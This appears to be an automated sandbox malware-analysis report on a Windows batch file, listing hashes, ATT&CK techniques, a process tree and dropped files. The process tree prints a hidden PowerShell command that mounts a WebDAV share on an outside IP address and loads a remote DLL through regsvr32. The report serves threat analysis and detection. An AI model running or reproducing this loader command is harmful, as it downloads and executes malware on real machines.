0992848db0b734059ec282ae7f2880f7f048a7f0097f54b5a21cefbf8aacb676

Analysis

max time kernel
140s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 14:16

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General

Target

28464312802608729710.bat
Size

15KB
MD5

145c6f3f3a024f4653881e287825717f
SHA1

3a2d33e1b10bdbb110969ab8fded2aa2f65cb54b
SHA256

0992848db0b734059ec282ae7f2880f7f048a7f0097f54b5a21cefbf8aacb676
SHA512

e7e4126040d543bae389fed430ec4da8d8e431d0c30cdacc42294ba1fc87b533d53235ec397673d8e3685c6b3db4c80bddc39489436a655f19ee0f99cd8f9d5e
SSDEEP

384:OQojQJY3soWbWTPlwQnosKicqdEtw048y/e3SSAzX:OSY3soWbWTP3fyqd4Ly/bpzX

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4284	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4284	powershell.exe
4284	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4284	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1676	wordpad.exe
1676	wordpad.exe
1676	wordpad.exe
1676	wordpad.exe
1676	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1372 wrote to memory of 1676	1372	cmd.exe	85
PID 1372 wrote to memory of 1676	1372	cmd.exe	85
PID 1372 wrote to memory of 4284	1372	cmd.exe	87
PID 1372 wrote to memory of 4284	1372	cmd.exe	87
PID 4284 wrote to memory of 3060	4284	powershell.exe	89
PID 4284 wrote to memory of 3060	4284	powershell.exe	89
PID 4284 wrote to memory of 2140	4284	powershell.exe	90
PID 4284 wrote to memory of 2140	4284	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\28464312802608729710.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1372
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\3398325314068.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3060
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\3398325314068.dll
    3⤵
    PID:2140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:5064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kj01comp.m0o.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4284-0-0x000001DA8CB30000-0x000001DA8CB52000-memory.dmp

Filesize
136KB

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